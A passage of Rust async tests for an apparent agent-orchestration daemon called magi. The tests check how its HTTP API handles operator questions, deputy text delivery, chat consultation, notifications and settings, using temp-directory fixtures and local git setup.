12101 assert!(resumed.status.runnable());
12102 assert_eq!(resumed.instruction, task.instruction);
12103 assert_eq!(resumed.runs, task.runs);
12104 assert!(resumed.action_applied(&q.id));
12105 crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
12106 assert_eq!(fx.queue().list().len(), 1);
12107 assert_eq!(
12108 fx.queue().get(&task.id).unwrap().resume_override,
12109 resumed.resume_override
12110 );
12111 let disk = RunState::load_under(&state.id, fx.home.path()).unwrap();
12112 assert!(
12113 disk.merge_repairs.is_empty(),
12114 "only the claimed run driver may execute repair"
12115 );
12116 assert_eq!(disk.land_approval.unwrap().head, "reviewed-head");
12117 }
12118
12119 #[tokio::test]
12120 async fn answering_records_the_choice_and_a_second_answer_conflicts() {
12121 let fx = Fixture::start().await;
12122 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12123 let path = format!("/api/questions/{id}/answer");
12124
12125 let res = fx.post(&path, Some(r#"{"choice":"Redis"}"#)).await;
12126 assert_eq!(res.status, 200, "{}", res.body);
12127 let body = res.json();
12128 assert_eq!(body["status"], "answered");
12129 assert_eq!(body["answer"]["choice"], "Redis");
12130
12131 let again = fx.post(&path, Some(r#"{"choice":"SQLite"}"#)).await;
12135 assert_eq!(again.status, 409, "{}", again.body);
12136 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
12137 }
12138
12139 #[tokio::test]
12140 async fn question_text_handler_uses_running_capabilities_and_preserves_text_answers() {
12141 let home = tempfile::tempdir().unwrap();
12142 let ui = delta_test_ui(home.path());
12143 let mut q = Question::new(
12144 "task".into(),
12145 crate::land::APPROVAL_NODE.into(),
12146 "land".into(),
12147 "Explain?".into(),
12148 String::new(),
12149 vec!["hold".into()],
12150 );
12151 q.deputy = Some(ask::Deputy::new("context".into()));
12152 ui.questions.put(&mut q).unwrap();
12153 let mut cfg = stub_config();
12154 cfg.daemon.max_deputies = 0;
12155 let mut status = crate::daemon::Status::new();
12156 status.question_recovery = Some(crate::question_delivery::Recovery::new(Some(&cfg), 0));
12157 crate::daemon::write_status_to(&home.path().join("daemon.json"), &status).unwrap();
12158 let before = std::fs::read(ui.questions.path_of(&q.id)).unwrap();
12159 let error = question_say(
12160 State(ui.clone()),
12161 Path(q.id.clone()),
12162 Ok(Json(NewSay {
12163 body: "Explain the findings".into(),
12164 })),
12165 )
12166 .await
12167 .unwrap_err();
12168 assert_eq!(
12169 error.text_reason,
12170 Some(crate::question_delivery::UnavailableReason::DeputyDisabled)
12171 );
12172 assert_eq!(std::fs::read(ui.questions.path_of(&q.id)).unwrap(), before);
12173
12174 let mut text = Question::new(
12175 "task".into(),
12176 "ask".into(),
12177 "operator".into(),
12178 "Which name?".into(),
12179 String::new(),
12180 vec![],
12181 );
12182 ui.questions.put(&mut text).unwrap();
12183 let Json(view) = question_answer(
12184 State(ui.clone()),
12185 Path(text.id.clone()),
12186 Ok(Json(NewAnswer {
12187 choice: None,
12188 text: Some("chosen name".into()),
12189 ..Default::default()
12190 })),
12191 )
12192 .await
12193 .unwrap();
12194 assert_eq!(view.question.resolution().as_deref(), Some("chosen name"));
12195 assert!(!ui.questions.get(&text.id).unwrap().status.open());
12196 }
12197
12198 #[tokio::test]
12199 async fn question_text_handler_admission_without_transport() {
12200 let home = tempfile::tempdir().unwrap();
12201 let ui = delta_test_ui(home.path());
12202 let mut q = Question::new(
12203 "task".into(),
12204 crate::land::APPROVAL_NODE.into(),
12205 "land".into(),
12206 "May this PR merge?".into(),
12207 String::new(),
12208 vec!["hold".into()],
12209 );
12210 q.deputy = Some(ask::Deputy::new("reviewed head".into()));
12211 q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS;
12212 ui.questions.put(&mut q).unwrap();
12213 let say = || {
12214 Ok(Json(NewSay {
12215 body: "Explain the findings".into(),
12216 }))
12217 };
12218 let rejected = question_say(State(ui.clone()), Path(q.id.clone()), say())
12219 .await
12220 .unwrap_err();
12221 assert_eq!(rejected.status, StatusCode::UNPROCESSABLE_ENTITY);
12222 let response = rejected.into_response();
12223 let body = axum::body::to_bytes(response.into_body(), usize::MAX)
12224 .await
12225 .unwrap();
12226 let body: serde_json::Value = serde_json::from_slice(&body).unwrap();
12227 assert_eq!(body["code"], "question_text_unavailable");
12228 assert_eq!(body["reason"], "deputy_exhausted");
12229 assert!(body["error"].as_str().unwrap().contains("deputy_exhausted"));
12230 assert!(ui.questions.get(&q.id).unwrap().thread.is_empty());
12231 ui.questions.beat(&q.id, ask::WaiterKind::Deputy);
12232 let Json(view) = question_say(State(ui.clone()), Path(q.id.clone()), say())
12233 .await
12234 .unwrap();
12235 assert_eq!(view.text_delivery.state, "live");
12236 assert!(view.question.waiter.is_none());
12237 assert!(view.question.cwd.is_none());
12238 let before = std::fs::read(ui.questions.path_of(&q.id)).unwrap();
12239 ui.questions.drop_lease(&q.id);
12240 let rejected = question_say(State(ui.clone()), Path(q.id.clone()), say())
12241 .await
12242 .unwrap_err();
12243 assert_eq!(rejected.status, StatusCode::UNPROCESSABLE_ENTITY);
12244 assert_eq!(std::fs::read(ui.questions.path_of(&q.id)).unwrap(), before);
12245 let _ = question_answer(
12246 State(ui.clone()),
12247 Path(q.id.clone()),
12248 Ok(Json(NewAnswer {
12249 choice: Some("hold".into()),
12250 text: None,
12251 ..Default::default()
12252 })),
12253 )
12254 .await
12255 .unwrap();
12256 assert_eq!(
12257 ui.questions.get(&q.id).unwrap().resolution().as_deref(),
12258 Some("hold")
12259 );
12260 }
12261
12262 #[tokio::test]
12263 async fn question_text_delivery_rechecks_after_render_and_keeps_choices_usable() {
12264 let fx = Fixture::start().await;
12265 let store = fx.questions();
12266 let id = ask(&fx, "May this PR merge?", &["merge", "hold"]);
12267 store
12268 .update(&id, |q| {
12269 q.node = crate::land::APPROVAL_NODE.to_owned();
12270 q.deputy = Some(ask::Deputy::new("approval".to_owned()));
12271 q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS;
12272 Ok(())
12273 })
12274 .unwrap();
12275 let path = format!("/api/questions/{id}/say");
12276 let refused = fx.post(&path, Some(r#"{"body":"close the PR"}"#)).await;
12277 assert_eq!(refused.status, 422, "{}", refused.body);
12278 assert!(
12279 refused.json()["error"]
12280 .as_str()
12281 .unwrap()
12282 .contains("deputy_exhausted")
12283 );
12284 assert!(store.get(&id).unwrap().thread.is_empty());
12285
12286 store.beat(&id, ask::WaiterKind::Deputy);
12288 let view = fx.get("/api/questions").await.json();
12289 assert_eq!(view[0]["text_delivery"]["state"], "live");
12290 let accepted = fx
12291 .post(&path, Some(r#"{"body":"explain the findings"}"#))
12292 .await;
12293 assert_eq!(accepted.status, 200, "{}", accepted.body);
12294 let before = std::fs::read(store.path_of(&id)).unwrap();
12295
12296 store.drop_lease(&id);
12299 let refused = fx.post(&path, Some(r#"{"body":"close the PR"}"#)).await;
12300 assert_eq!(refused.status, 422, "{}", refused.body);
12301 assert_eq!(std::fs::read(store.path_of(&id)).unwrap(), before);
12302 let held = fx
12303 .post(
12304 &format!("/api/questions/{id}/answer"),
12305 Some(r#"{"choice":"hold"}"#),
12306 )
12307 .await;
12308 assert_eq!(held.status, 200, "{}", held.body);
12309 assert_eq!(store.get(&id).unwrap().thread.len(), 1);
12310 }
12311
12312 #[tokio::test]
12313 async fn question_text_delivery_uses_daemon_configuration_after_file_edit() {
12314 let repo = tempfile::tempdir().unwrap();
12315 let mut cfg = stub_config();
12316 cfg.daemon.max_deputies = 0;
12317 std::fs::write(
12318 repo.path().join("magi.toml"),
12319 toml::to_string(&cfg).unwrap(),
12320 )
12321 .unwrap();
12322 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
12323 let mut status = crate::daemon::Status::new();
12324 status.question_recovery = Some(crate::question_delivery::Recovery::new(Some(&cfg), 0));
12325 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &status).unwrap();
12326 let id = ask(&fx, "Explain?", &["hold"]);
12327 fx.questions()
12328 .update(&id, |q| {
12329 q.node = crate::land::APPROVAL_NODE.into();
12330 q.deputy = Some(ask::Deputy::new("context".into()));
12331 q.deputy.as_mut().unwrap().agent = "stub".into();
12332 Ok(())
12333 })
12334 .unwrap();
12335 cfg.daemon.max_deputies = 1;
12336 std::fs::write(
12337 repo.path().join("magi.toml"),
12338 toml::to_string(&cfg).unwrap(),
12339 )
12340 .unwrap();
12341 let view = fx.get("/api/questions").await.json();
12342 assert_eq!(view[0]["deputies_enabled"], true);
12343 assert_eq!(view[0]["text_delivery"]["reason"], "deputy_disabled");
12344 let before = std::fs::read(fx.questions().path_of(&id)).unwrap();
12345 let res = fx
12346 .post(
12347 &format!("/api/questions/{id}/say"),
12348 Some(r#"{"body":"Please explain"}"#),
12349 )
12350 .await;
12351 assert_eq!(res.status, 422, "{}", res.body);
12352 assert_eq!(std::fs::read(fx.questions().path_of(&id)).unwrap(), before);
12353 }
12354
12355 #[tokio::test]
12356 async fn question_text_delivery_preserves_text_decisions_without_a_recipient() {
12357 let fx = Fixture::start().await;
12358 let id = ask(&fx, "No seat", &[]);
12359 let store = fx.questions();
12360 let before = std::fs::read(store.path_of(&id)).unwrap();
12361 let res = fx
12362 .post(
12363 &format!("/api/questions/{id}/say"),
12364 Some(r#"{"body":"hello"}"#),
12365 )
12366 .await;
12367 assert_eq!(res.status, 422, "{}", res.body);
12368 assert_eq!(std::fs::read(store.path_of(&id)).unwrap(), before);
12369 let res = fx
12370 .post(
12371 &format!("/api/questions/{id}/answer"),
12372 Some(r#"{"text":"hello"}"#),
12373 )
12374 .await;
12375 assert_eq!(res.status, 200, "{}", res.body);
12376 assert_eq!(
12377 store.get(&id).unwrap().resolution().as_deref(),
12378 Some("hello")
12379 );
12380 }
12381
12382 #[tokio::test]
12383 async fn saying_something_appends_a_turn_without_answering() {
12384 let fx = Fixture::start().await;
12385 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12386 fx.questions().beat(&id, ask::WaiterKind::Asker);
12387 let path = format!("/api/questions/{id}/say");
12388
12389 let res = fx
12390 .post(&path, Some(r#"{"body":"why not Postgres?"}"#))
12391 .await;
12392 assert_eq!(res.status, 200, "{}", res.body);
12393 let body = res.json();
12394 assert_eq!(body["status"], "open", "talking back is not a decision");
12395 assert_eq!(body["answer"], Value::Null);
12396 assert_eq!(body["thread"][0]["who"], "operator");
12397 assert_eq!(body["thread"][0]["body"], "why not Postgres?");
12398 assert_eq!(body["waiting_on_agent"], true);
12399 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
12401 }
12402
12403 #[tokio::test]
12404 async fn consulting_a_question_with_no_chat_is_refused_and_it_stays_open() {
12405 let fx = Fixture::start().await;
12406 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12407
12408 let list = fx.get("/api/questions").await.json();
12409 assert_eq!(list[0]["origin_chat"], Value::Null, "{list}");
12410
12411 let res = fx.post(&format!("/api/questions/{id}/consult"), None).await;
12412 assert_eq!(res.status, 409, "{}", res.body);
12413 let q = fx.questions().get(&id).unwrap();
12414 assert!(q.status.open());
12415 assert!(q.consult.is_none());
12416 }
12417
12418 #[tokio::test]
12419 async fn a_question_from_a_chat_task_names_its_chat_in_the_view() {
12420 let fx = Fixture::start().await;
12421 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12422 let cfg = Config {
12423 agents: vec![crate::config::AgentSpec {
12424 id: "mock".to_owned(),
12425 kind: crate::config::AgentKind::Command,
12426 model: None,
12427 command: vec!["true".to_owned()],
12428 extra_args: Vec::new(),
12429 env: Default::default(),
12430 prompt_delivery: None,
12431 max_turn_secs: None,
12432 }],
12433 ..Config::default()
12434 };
12435 let talk = crate::talk::begin(
12436 &fx.talks(),
12437 &cfg,
12438 fx.home.path().to_path_buf(),
12439 Some("mock"),
12440 )
12441 .unwrap();
12442 let mut task = Task::new(
12443 "t".to_owned(),
12444 "Do it".to_owned(),
12445 PathBuf::from("/repo/magi"),
12446 Source::Agent {
12447 run: talk.id.clone(),
12448 node: crate::queue::CHAT_NODE.to_owned(),
12449 },
12450 );
12451 task.start("20260902-000000-beef".to_owned());
12452 fx.queue().put(&mut task).unwrap();
12453
12454 let list = fx.get("/api/questions").await.json();
12455 assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
12456 assert_eq!(
12457 list[0]["choices"],
12458 serde_json::json!(["SQLite", "Redis"]),
12459 "the hand-over is never a choice"
12460 );
12461 fx.questions()
12462 .update(&id, |q| {
12463 q.node = crate::land::APPROVAL_NODE.into();
12464 q.choices = vec!["merge".into(), "hold".into()];
12465 Ok(())
12466 })
12467 .unwrap();
12468 let list = fx.get("/api/questions").await.json();
12469 assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
12470 assert_eq!(list[0]["can_consult_chat"], true);
12471 fx.questions()
12472 .update(&id, |q| {
12473 q.node = crate::bump::NOTICE_NODE.into();
12474 Ok(())
12475 })
12476 .unwrap();
12477 let list = fx.get("/api/questions").await.json();
12478 assert_eq!(list[0]["origin_chat"], talk.id.as_str());
12479 assert_eq!(list[0]["can_consult_chat"], false);
12480 }
12481
12482 #[tokio::test]
12483 async fn a_consult_that_cannot_read_its_config_leaves_nothing_to_retry_around() {
12484 let fx = Fixture::start().await;
12485 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12486 fx.questions()
12487 .update(&id, |q| {
12488 q.node = crate::land::APPROVAL_NODE.into();
12489 q.choices = vec!["merge".into(), "hold".into()];
12490 Ok(())
12491 })
12492 .unwrap();
12493 let cfg = Config {
12494 agents: vec![crate::config::AgentSpec {
12495 id: "mock".to_owned(),
12496 kind: crate::config::AgentKind::Command,
12497 model: None,
12498 command: vec!["true".to_owned()],
12499 extra_args: Vec::new(),
12500 env: Default::default(),
12501 prompt_delivery: None,
12502 max_turn_secs: None,
12503 }],
12504 ..Config::default()
12505 };
12506 let repo = fx.home.path().join("chat-repo");
12508 std::fs::create_dir_all(&repo).unwrap();
12509 let toml = repo.join("magi.toml");
12510 std::fs::write(&toml, "this is = = not toml").unwrap();
12511 let talk = crate::talk::begin(&fx.talks(), &cfg, repo.clone(), Some("mock")).unwrap();
12512 let mut task = Task::new(
12513 "t".to_owned(),
12514 "Do it".to_owned(),
12515 PathBuf::from("/repo/magi"),
12516 Source::Agent {
12517 run: talk.id.clone(),
12518 node: crate::queue::CHAT_NODE.to_owned(),
12519 },
12520 );
12521 task.start("20260902-000000-beef".to_owned());
12522 fx.queue().put(&mut task).unwrap();
12523
12524 let path = format!("/api/questions/{id}/consult");
12525 let res = fx.post(&path, None).await;
12526 assert!(res.status >= 400, "{}", res.body);
12527 assert!(fx.questions().get(&id).unwrap().consult.is_none());
12528 assert!(fx.talks().get(&talk.id).unwrap().pending.is_empty());
12529
12530 std::fs::write(&toml, "").unwrap();
12531 let res = fx.post(&path, None).await;
12532 assert_eq!(res.status, 202, "{}", res.body);
12533 assert!(fx.questions().get(&id).unwrap().consult.is_some());
12534 let q = fx.questions().get(&id).unwrap();
12535 assert!(q.status.open());
12536 assert!(q.answer.is_none());
12537 assert_eq!(res.json()["origin_chat"], talk.id.as_str());
12538 assert_eq!(res.json()["can_consult_chat"], true);
12539 let list = fx.get("/api/questions").await.json();
12540 assert_eq!(list[0]["origin_chat"], talk.id.as_str());
12541 assert_eq!(list[0]["consult"]["talk"], talk.id.as_str());
12542
12543 let res = fx
12544 .post(
12545 &format!("/api/questions/{id}/answer"),
12546 Some(r#"{"choice":"hold"}"#),
12547 )
12548 .await;
12549 assert_eq!(res.status, 200, "{}", res.body);
12550 assert_eq!(res.json()["answer"]["choice"], "hold");
12551 assert_eq!(res.json()["origin_chat"], talk.id.as_str());
12552 assert_eq!(res.json()["can_consult_chat"], false);
12553 assert_eq!(fx.post(&path, None).await.status, 409);
12554
12555 let mut talk = fx.talks().get(&talk.id).unwrap();
12556 crate::talk::close(&mut talk, &fx.talks()).unwrap();
12557 let list = fx.get("/api/questions").await.json();
12558 assert_eq!(list[0]["origin_chat"], talk.id.as_str());
12559 assert_eq!(list[0]["origin_chat_closed"], true);
12560 assert_eq!(list[0]["can_consult_chat"], false);
12561
12562 fx.talks().remove(&talk.id).unwrap();
12563 let list = fx.get("/api/questions").await.json();
12564 assert_eq!(list[0]["origin_chat"], Value::Null);
12565 assert_eq!(list[0]["origin_chat_closed"], false);
12566 assert_eq!(list[0]["can_consult_chat"], false);
12567 }
12568
12569 #[tokio::test]
12570 async fn asking_back_clears_the_owner_count_until_the_agent_replies() {
12571 let fx = Fixture::start().await;
12572 let store = fx.questions();
12573 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12574 store.beat(&id, ask::WaiterKind::Asker);
12575 assert_eq!(
12576 fx.get("/api/health").await.json()["questions_needs_owner"],
12577 1
12578 );
12579
12580 let res = fx
12586 .post(
12587 &format!("/api/questions/{id}/say"),
12588 Some(r#"{"body":"why not Postgres?"}"#),
12589 )
12590 .await;
12591 assert_eq!(res.status, 200, "{}", res.body);
12592 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
12593 assert_eq!(
12594 fx.get("/api/health").await.json()["questions_needs_owner"],
12595 0,
12596 "waiting on the agent is not waiting on the owner"
12597 );
12598
12599 let mut q = store.get(&id).expect("get");
12603 q.reply("because SQLite needs no server", vec!["SQLite".to_owned()])
12604 .expect("reply");
12605 store.put(&mut q).expect("put");
12606 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
12607 assert_eq!(
12608 fx.get("/api/health").await.json()["questions_needs_owner"],
12609 1,
12610 "the agent's reply is what should light the banner back up"
12611 );
12612 }
12613
12614 #[tokio::test]
12615 async fn saying_something_is_refused_when_empty_answered_or_abandoned() {
12616 let fx = Fixture::start().await;
12617 let store = fx.questions();
12618
12619 let empty_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12620 let res = fx
12621 .post(
12622 &format!("/api/questions/{empty_id}/say"),
12623 Some(r#"{"body":" "}"#),
12624 )
12625 .await;
12626 assert_eq!(res.status, 400, "{}", res.body);
12627
12628 let answered_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12629 let mut answered = store.get(&answered_id).expect("get");
12630 answered
12631 .answer(Answer::Choice("SQLite".to_owned()))
12632 .expect("answer");
12633 store.put(&mut answered).expect("put");
12634 let res = fx
12635 .post(
12636 &format!("/api/questions/{answered_id}/say"),
12637 Some(r#"{"body":"still there?"}"#),
12638 )
12639 .await;
12640 assert_eq!(res.status, 409, "{}", res.body);
12641
12642 let abandoned_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12643 let mut abandoned = store.get(&abandoned_id).expect("get");
12644 abandoned.abandon("timed out");
12645 store.put(&mut abandoned).expect("put");
12646 let res = fx
12647 .post(
12648 &format!("/api/questions/{abandoned_id}/say"),
12649 Some(r#"{"body":"still there?"}"#),
12650 )
12651 .await;
12652 assert_eq!(res.status, 409, "{}", res.body);
12653 }
12654
12655 #[tokio::test]
12656 async fn an_answer_the_question_does_not_offer_is_refused() {
12657 let fx = Fixture::start().await;
12658 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12659 let path = format!("/api/questions/{id}/answer");
12660
12661 for body in [
12662 r#"{"choice":"Postgres"}"#,
12663 r#"{"text":"whatever you think"}"#,
12664 r#"{"choice":"Redis","text":"both"}"#,
12665 r#"{}"#,
12666 ] {
12667 let res = fx.post(&path, Some(body)).await;
12668 assert_eq!(res.status, 400, "{body} should be refused: {}", res.body);
12669 assert!(res.json()["error"].is_string(), "{}", res.body);
12670 }
12671 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
12673 }
12674
12675 #[tokio::test]
12676 async fn a_free_text_question_takes_text_and_not_a_choice() {
12677 let fx = Fixture::start().await;
12678 let id = ask(&fx, "What should the flag be called?", &[]);
12679 fx.questions().beat(&id, ask::WaiterKind::Asker);
12680 let path = format!("/api/questions/{id}/answer");
12681
12682 assert_eq!(
12683 fx.post(&path, Some(r#"{"choice":"--json"}"#)).await.status,
12684 400
12685 );
12686 let res = fx.post(&path, Some(r#"{"text":"--json"}"#)).await;
12687 assert_eq!(res.status, 200, "{}", res.body);
12688 assert_eq!(res.json()["answer"]["text"], "--json");
12689 }
12690
12691 #[tokio::test]
12692 async fn an_unknown_question_is_a_json_404() {
12693 let fx = Fixture::start().await;
12694 let res = fx
12695 .post("/api/questions/nope/answer", Some(r#"{"text":"x"}"#))
12696 .await;
12697 assert_eq!(res.status, 404, "{}", res.body);
12698 assert!(res.json()["error"].is_string());
12699 }
12700
12701 #[tokio::test]
12702 async fn notifications_resolve_live_questions_without_changing_saved_notices() {
12703 let fx = Fixture::start().await;
12704 let questions = Questions::at(fx.home.path().join("questions"));
12705 let store = Notices::at(fx.home.path().join("notifications"));
12706 let mut q = ask::Question::new(
12707 "t1".into(),
12708 "conduct".into(),
12709 "conductor".into(),
12710 "Continue?".into(),
12711 String::new(),
12712 Vec::new(),
12713 );
12714 questions.put(&mut q).unwrap();
12715 let mut n = Notice::warn("task:t1", "Task t1 is held.");
12716 n.covered_by = Some(q.id.clone());
12717 let n = store.raise(n).unwrap();
12718 let listed = fx.get("/api/notifications").await.json();
12719 assert_eq!(listed["items"][0]["answerable_question"], q.id);
12720 questions
12721 .update(&q.id, |q| {
12722 q.abandon("run gone");
12723 Ok(())
12724 })
12725 .unwrap();
12726 let listed = fx.get("/api/notifications").await.json();
12727 assert!(listed["items"][0]["answerable_question"].is_null());
12728 assert_eq!(store.get(&n.id).unwrap().covered_by, Some(q.id));
12729 assert!(
12730 !std::fs::read_to_string(store.root().join(format!("{}.json", n.id)))
12731 .unwrap()
12732 .contains("answerable_question")
12733 );
12734 }
12735
12736 #[tokio::test]
12737 async fn notifications_list_read_dismiss_and_health_agree() {
12738 let fx = Fixture::start().await;
12739 let store = Notices::at(fx.home.path().join("notifications"));
12740 assert_eq!(fx.get("/api/notifications").await.json()["unread"], 0);
12741 let rev0 = fx.get("/api/health").await.json()["notifications_rev"].clone();
12742
12743 let a = store.raise(Notice::warn("task:1", "held")).unwrap();
12744 let b = store.raise(Notice::error("run:2", "blocked")).unwrap();
12745
12746 store
12747 .raise(Notice::warn("deputy:deleted-question", "obsolete warning"))
12748 .unwrap();
12749 let health = fx.get("/api/health").await.json();
12750 assert_eq!(health["notifications_unread"], 2);
12751 assert_ne!(
12752 health["notifications_rev"], rev0,
12753 "the badge must move live"
12754 );
12755
12756 let listed = fx.get("/api/notifications").await.json();
12757 assert_eq!(listed["unread"], 2);
12758 assert_eq!(listed["items"].as_array().unwrap().len(), 2);
12759 assert_eq!(listed["items"][0]["severity"], "error", "newest first");
12760
12761 let read = fx
12762 .post(&format!("/api/notifications/{}/read", a.id), None)
12763 .await;
12764 assert_eq!(read.status, 200, "{}", read.body);
12765 assert_eq!(fx.get("/api/notifications").await.json()["unread"], 1);
12766
12767 let gone = fx
12768 .post(&format!("/api/notifications/{}/dismiss", b.id), None)
12769 .await;
12770 assert_eq!(gone.status, 200, "{}", gone.body);
12771 let listed = fx.get("/api/notifications").await.json();
12772 assert_eq!(listed["items"].as_array().unwrap().len(), 1);
12773 assert_eq!(listed["unread"], 0);
12774
12775 store.raise(Notice::info("x", "again")).unwrap();
12776 let all = fx.post("/api/notifications/read-all", None).await;
12777 assert_eq!(all.status, 200, "{}", all.body);
12778 assert_eq!(all.json()["marked"], 1);
12779 assert_eq!(
12780 fx.get("/api/health").await.json()["notifications_unread"],
12781 0
12782 );
12783
12784 let missing = fx.post("/api/notifications/nope/read", None).await;
12785 assert_eq!(missing.status, 404, "{}", missing.body);
12786 assert!(missing.json()["error"].is_string());
12787 }
12788
12789 #[tokio::test]
12796 async fn a_task_cannot_be_filed_over_the_phone_directly() {
12797 let f = Fixture::start().await;
12798
12799 let res = f
12800 .post(
12801 "/api/queue",
12802 Some(r#"{"instruction":"Add a --json flag to magi list"}"#),
12803 )
12804 .await;
12805
12806 assert_eq!(
12807 res.status, 405,
12808 "POST /api/queue must not be a route: {}",
12809 res.body
12810 );
12811 assert!(
12812 f.queue().list().is_empty(),
12813 "a task filed by a route that does not exist must not reach the disk"
12814 );
12815 assert_eq!(f.get("/api/queue").await.status, 200);
12818 }
12819
12820 fn make_checkout(root: &FsPath, host: &str, owner: &str, repo: &str) {
12822 std::fs::create_dir_all(root.join(host).join(owner).join(repo).join(".git"))
12823 .expect("checkout dir");
12824 }
12825
12826 const SETTINGS_AGENTS: &str = "[[agents]]\nid = \"a\"\nkind = \"command\"\ncommand = [\"true\"]\n\n[[agents]]\nid = \"b\"\nkind = \"command\"\ncommand = [\"true\"]\n";
12828
12829 fn settings_dirs(repo_toml: &str, machine_toml: Option<&str>) -> (TempDir, PathBuf, PathBuf) {
12830 let tmp = TempDir::new().expect("tempdir");
12831 let repo = tmp.path().join("repo");
12832 std::fs::create_dir_all(&repo).expect("repo dir");
12833 std::fs::write(repo.join("magi.toml"), repo_toml).expect("repo toml");
12834 let machine = tmp.path().join("cfg").join("magi").join("config.toml");
12835 if let Some(text) = machine_toml {
12836 std::fs::create_dir_all(machine.parent().expect("parent")).expect("cfg dir");
12837 std::fs::write(&machine, text).expect("machine toml");
12838 }
12839 (tmp, repo, machine)
12840 }
12841
12842 async fn settings_checkout(path: &FsPath, text: &str) {
12843 std::fs::create_dir_all(path).unwrap();
12844 std::fs::write(path.join("magi.toml"), text).unwrap();
12845 for args in [
12846 vec!["init", "-b", "main"],
12847 vec!["add", "magi.toml"],
12848 vec![
12849 "-c",
12850 "user.name=Test",
12851 "-c",
12852 "user.email=test@example.invalid",
12853 "commit",
12854 "-m",
12855 "fixture",
12856 ],
12857 vec!["update-ref", "refs/remotes/origin/main", "HEAD"],
12858 vec![
12859 "symbolic-ref",
12860 "refs/remotes/origin/HEAD",
12861 "refs/remotes/origin/main",
12862 ],
12863 ] {
12864 crate::git::git(path, &args).await.unwrap();
12865 }
12866 }
12867
12868 #[tokio::test]
12869 async fn settings_context_handlers_validate_and_save_without_a_socket() {
12870 let (tmp, repo, machine) =
12871 settings_dirs("[roles]\nreviewers = [\"a\"]\n", Some(SETTINGS_AGENTS));
12872 let root = tmp.path().join("roots");
12873 let selected = root.join("host/owner/selected");
12874 settings_checkout(
12875 &selected,
12876 "[roles]\nconductor = \"b\"\n[graph]\njudges = 2\n",
12877 )
12878 .await;
12879 std::fs::write(&machine, format!("{SETTINGS_AGENTS}\n[roles]\nconductor = \"a\"\n[graph]\njudges = 1\n[repos]\nroots = [{}]\nscan_ttl = 3600\n", toml::Value::String(root.display().to_string()))).unwrap();
12880 let before = std::fs::read(&machine).unwrap();
12881 let ui = Arc::new(
12882 Ui::new(
12883 Queue::at(tmp.path().join("queue")),
12884 Questions::at(tmp.path().join("questions")),
12885 Talks::at(tmp.path().join("talks")),
12886 tmp.path().join("runs"),
12887 tmp.path().to_path_buf(),
12888 repo.clone(),
12889 )
12890 .with_machine_config(Some(machine.clone())),
12891 );
12892 let query = || {
12893 Query(SettingsQuery {
12894 repo: Some(selected.clone()),
12895 })
12896 };
12897 let Json(v) = settings_get(State(ui.clone()), query()).await.unwrap();
12898 assert!(v.error.is_none(), "{:?}", v.error);
12899 let conductor = v.roles.iter().find(|r| r.key == "conductor").unwrap();
12900 assert_eq!(conductor.source, "repo");
12901 assert_eq!(
12902 conductor.machine_value,
12903 Some(toml::Value::String("a".into()))
12904 );
12905 assert!(!conductor.editable);
12906 let judges = v.roles.iter().find(|r| r.key == "judges").unwrap();
12907 assert_eq!(
12908 judges.count.as_ref().unwrap().machine_value,
12909 Some(toml::Value::Integer(1))
12910 );
12911 assert!(
12912 !v.roles
12913 .iter()
12914 .find(|r| r.key == "reviewers")
12915 .unwrap()
12916 .editable
12917 );
12918 let unknown = || {
12919 Query(SettingsQuery {
12920 repo: Some(tmp.path().to_path_buf()),
12921 })
12922 };
12923 assert_eq!(
12924 settings_get(State(ui.clone()), unknown())
12925 .await
12926 .unwrap_err()
12927 .status,
12928 StatusCode::UNPROCESSABLE_ENTITY
12929 );
12930 let body = || {
12931 Ok(Json(RolesBody {
12932 revision: v.revision.clone(),
12933 roles: std::collections::BTreeMap::from([("judges".into(), vec!["b".into()])]),
12934 counts: Default::default(),
12935 }))
12936 };
12937 assert_eq!(
12938 settings_put_roles(State(ui.clone()), unknown(), body())
12939 .await
12940 .unwrap_err()
12941 .status,
12942 StatusCode::UNPROCESSABLE_ENTITY
12943 );
12944 assert_eq!(std::fs::read(&machine).unwrap(), before);
12945 let Json(saved) = settings_put_roles(State(ui.clone()), query(), body())
12946 .await
12947 .unwrap();
12948 assert_eq!(
12949 saved.repo,
12950 selected.canonicalize().unwrap().display().to_string()
12951 );
12952 assert!(settings::repository_config(&repo, Some(&machine)).is_ok());
12953 assert!(settings::repository_config(&selected, Some(&machine)).is_ok());
12954 let fresh = root.join("host/owner/fresh");
12956 settings_checkout(&fresh, "[graph]\nadvisors = 0\n").await;
12957 let Json(fresh_view) = settings_get(State(ui), Query(SettingsQuery { repo: Some(fresh) }))
12958 .await
12959 .unwrap();
12960 assert_eq!(fresh_view.repositories.len(), 3);
12961 }
12962
12963 #[tokio::test]
12964 async fn settings_context_selector_validates_paths_and_preserves_all_checkouts() {
12965 let (tmp, repo, machine) = settings_dirs(
12966 "[roles]\nreviewers = [\"a\"]\n",
12967 Some(&format!("{SETTINGS_AGENTS}\n[graph]\njudges = 1\n")),
12968 );
12969 let root = tmp.path().join("roots");
12970 let selected = root.join("host/owner/selected");
12971 settings_checkout(
12972 &selected,
12973 "[roles]\nadvisors = [\"b\"]\n[graph]\njudges = 2\n",
12974 )
12975 .await;
12976 let broken = root.join("host/owner/broken");
12977 settings_checkout(&broken, "[roles\nbroken").await;
12978 let machine_text = format!(
